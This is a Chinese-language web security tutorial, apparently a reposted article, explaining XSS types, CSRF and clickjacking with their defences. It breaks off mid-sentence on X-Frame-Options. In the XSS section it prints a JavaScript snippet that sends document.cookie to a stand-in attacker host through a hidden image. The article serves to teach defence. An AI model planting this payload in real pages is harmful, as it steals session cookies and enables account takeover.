資訊專欄INFORMATION COLUMN
摘要：跨站腳本攻擊可能造成以下影響利用虛假輸入表單騙取用戶個人信息。不僅僅是前端負(fù)責(zé)，后端也要做相同的過濾檢查。張三登錄了銀行的網(wǎng)站沒有退出，訪問了黑客王五的網(wǎng)站，上述的就會向銀行發(fā)起請求。
原文連接 https://jkchao.cn/article/59d...XSS
xss: 跨站腳本攻擊（Cross Site Scripting）是最常見和基本的攻擊 WEB 網(wǎng)站方法，攻擊者通過注入非法的 html 標(biāo)簽或者 javascript 代碼，從而當(dāng)用戶瀏覽該網(wǎng)頁時，控制用戶瀏覽器。
xss 主要分為三類：
DOM xss :
DOM即文本對象模型，DOM通常代表在html、xhtml和xml中的對象，使用DOM可以允許程序和腳本動態(tài)的訪問和更新文檔的內(nèi)容、結(jié)構(gòu)和樣式。它不需要服務(wù)器解析響應(yīng)的直接參與，觸發(fā)XSS靠的是瀏覽器端的DOM解析，可以認(rèn)為完全是客戶端的事情。
反射型 xss :
反射型XSS也被稱為非持久性XSS，是現(xiàn)在最容易出現(xiàn)的一種XSS漏洞。發(fā)出請求時，XSS代碼出現(xiàn)在URL中，最后輸入提交到服務(wù)器，服務(wù)器解析后在響應(yīng)內(nèi)容中出現(xiàn)這段XSS代碼，最后瀏覽器解析執(zhí)行。
存儲型 xss :
存儲型XSS又被稱為持久性XSS，它是最危險的一種跨站腳本，相比反射型XSS和DOM型XSS具有更高的隱蔽性，所以危害更大，因為它不需要用戶手動觸發(fā)。 允許用戶存儲數(shù)據(jù)的web程序都可能存在存儲型XSS漏洞，當(dāng)攻擊者提交一段XSS代碼后，被服務(wù)器端接收并存儲，當(dāng)所有瀏覽者訪問某個頁面時都會被XSS，其中最典型的例子就是留言板。
跨站腳本攻擊可能造成以下影響：
利用虛假輸入表單騙取用戶個人信息。
利用腳本竊取用戶的 Cookie 值，被害者在不知情的情況下，幫助攻擊者發(fā)送惡意請求。
顯示偽造的文章或圖片。
存儲型 xss 案例在項目開發(fā)中，評論是個常見的功能，如果直接把評論的內(nèi)容保存到數(shù)據(jù)庫，那么顯示的時候就可能被攻擊。
如果你只是想試試 xss，可以這樣：
試試水
如果帶點惡意，可以這樣：
這時，網(wǎng)站就掛了。
當(dāng)然，最常見 xss 攻擊是讀取 Cookie：
Cookie 發(fā)送給攻擊者的站點：
var img = document.createElement("img")
img.src="http://www.xss.com?cookie=" + document.cookie
img.style.display="none"
document.getElementsByTagName("body")[0].appendChild(img)
當(dāng)前用戶的登錄憑證存儲于服務(wù)器的 session 中，而在瀏覽器中是以 cookie 的形式存儲的。如果攻擊者能獲取到用戶登錄憑證的 Cookie，甚至可以繞開登錄流程，直接設(shè)置這個 Cookie 值，來訪問用戶的賬號。
防御按理說，只要有輸入數(shù)據(jù)的地方，就可能存在 XSS 危險。
httpOnly: 在 cookie 中設(shè)置 HttpOnly 屬性后，js腳本將無法讀取到 cookie 信息。
// koa
ctx.cookies.set(name, value, {
httpOnly: true // 默認(rèn)為 true
})
過濾
輸入檢查，一般是用于對于輸入格式的檢查，例如：郵箱，電話號碼，用戶名，密碼……等，按照規(guī)定的格式輸入。
不僅僅是前端負(fù)責(zé)，后端也要做相同的過濾檢查。
因為攻擊者完全可以繞過正常的輸入流程，直接利用相關(guān)接口向服務(wù)器發(fā)送設(shè)置。
HtmlEncode
某些情況下，不能對用戶數(shù)據(jù)進(jìn)行嚴(yán)格過濾，需要對標(biāo)簽進(jìn)行轉(zhuǎn)換
當(dāng)用戶輸入, 最終保存結(jié)果為 , 在展現(xiàn)時，瀏覽器會對這些字符轉(zhuǎn)換成文本內(nèi)容，而不是一段可以執(zhí)行的代碼。
JavaScriptEncode
對下列字符加上反斜杠
關(guān)于更多 HtmlEncode 和 JavaScriptEncode，請參考 http://www.cnblogs.com/loveso...
CSRFcsrf：跨站點請求偽造（Cross-Site Request Forgeries），也被稱為 one-click attack 或者 session riding。冒充用戶發(fā)起請求（在用戶不知情的情況下）， 完成一些違背用戶意愿的事情（如修改用戶信息，刪初評論等）。
可能會造成以下影響：
利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等；
利用已通過認(rèn)證的用戶權(quán)限購買商品；
利用已通過的用戶權(quán)限在留言板上發(fā)表言論。
一張圖了解原理：
簡而言之：網(wǎng)站過分相信用戶。
與 xss 區(qū)別通常來說 CSRF 是由 XSS 實現(xiàn)的，CSRF 時常也被稱為 XSRF（CSRF 實現(xiàn)的方式還可以是直接通過命令行發(fā)起請求等）。
本質(zhì)上講，XSS 是代碼注入問題，CSRF 是 HTTP 問題。XSS 是內(nèi)容沒有過濾導(dǎo)致瀏覽器將攻擊者的輸入當(dāng)代碼執(zhí)行。CSRF 則是因為瀏覽器在發(fā)送 HTTP 請求時候自動帶上 cookie，而一般網(wǎng)站的 session 都存在 cookie里面。
來自某乎的一個栗子：
案例比如某網(wǎng)站的轉(zhuǎn)賬操作
受害者張三給李四轉(zhuǎn)賬100，
通過對銀行的網(wǎng)站發(fā)起請求 http://bank.example/transfer?... ，
通常情況下，該請求發(fā)出后，服務(wù)器端會檢查 session 是否合法，并且張三已經(jīng)登錄成功，
黑客王五可以自己給銀行發(fā)送一個請求 http://bank.example/transfer?... ，但是這個請求來自王五，而不是張三，他并不能通過安全認(rèn)證。他需要張三的 session 。
王五自己做了一個網(wǎng)站，放入如下代碼 http://bank.example/transfer?... ，
用各種方式誘使張三點擊自己的網(wǎng)站。
張三登錄了銀行的網(wǎng)站沒有退出，訪問了黑客王五的網(wǎng)站，上述的 url 就會向銀行發(fā)起請求。
如果session沒有過期，這時悲劇就發(fā)生了，張三的賬戶里少了1000。
防御驗證碼；強制用戶必須與應(yīng)用進(jìn)行交互，才能完成最終請求。此種方式能很好的遏制 csrf，但是用戶體驗比較差。
盡量使用 post ，限制 get 使用；上一個例子可見，get 太容易被拿來做 csrf 攻擊，但是 post 也并不是萬無一失，攻擊者只需要構(gòu)造一個form就可以。
Referer check；請求來源限制，此種方法成本最低，但是并不能保證 100% 有效，因為服務(wù)器并不是什么時候都能取到 Referer，而且低版本的瀏覽器存在偽造 Referer 的風(fēng)險。
token；token 驗證的 CSRF 防御機制是公認(rèn)最合適的方案。
整體思路如下：
第一步：后端隨機產(chǎn)生一個 token，把這個token 保存到 session 狀態(tài)中；同時后端把這個token 交給前端頁面；
第二步：前端頁面提交請求時，把 token 加入到請求數(shù)據(jù)或者頭信息中，一起傳給后端；
后端驗證前端傳來的 token 與 session 是否一致，一致則合法，否則是非法請求。
**若網(wǎng)站同時存在 XSS 漏洞的時候，這個方法也是空談。**Clickjacking
Clickjacking： 點擊劫持，是指利用透明的按鈕或連接做成陷阱，覆蓋在 Web 頁面之上。然后誘使用戶在不知情的情況下，點擊那個連接訪問內(nèi)容的一種攻擊手段。這種行為又稱為界面?zhèn)窝b(UI Redressing) 。
大概有兩種方式：
攻擊者使用一個透明 iframe，覆蓋在一個網(wǎng)頁上，然后誘使用戶在該頁面上進(jìn)行操作，此時用戶將在不知情的情況下點擊透明的 iframe 頁面；
攻擊者使用一張圖片覆蓋在網(wǎng)頁，遮擋網(wǎng)頁原有的位置含義。
案例一張圖了解
一般步驟
黑客創(chuàng)建一個網(wǎng)頁利用 iframe 包含目標(biāo)網(wǎng)站；
隱藏目標(biāo)網(wǎng)站，使用戶無法無法察覺到目標(biāo)網(wǎng)站存在；
構(gòu)造網(wǎng)頁，誘變用戶點擊特點按鈕
用戶在不知情的情況下點擊按鈕，觸發(fā)執(zhí)行惡意網(wǎng)頁的命令。
防御
X-FRAME-OPTIONS；
X-FRAME-OPTIONS HTTP 響應(yīng)頭是用來給瀏覽器指示允許一個頁面可否在,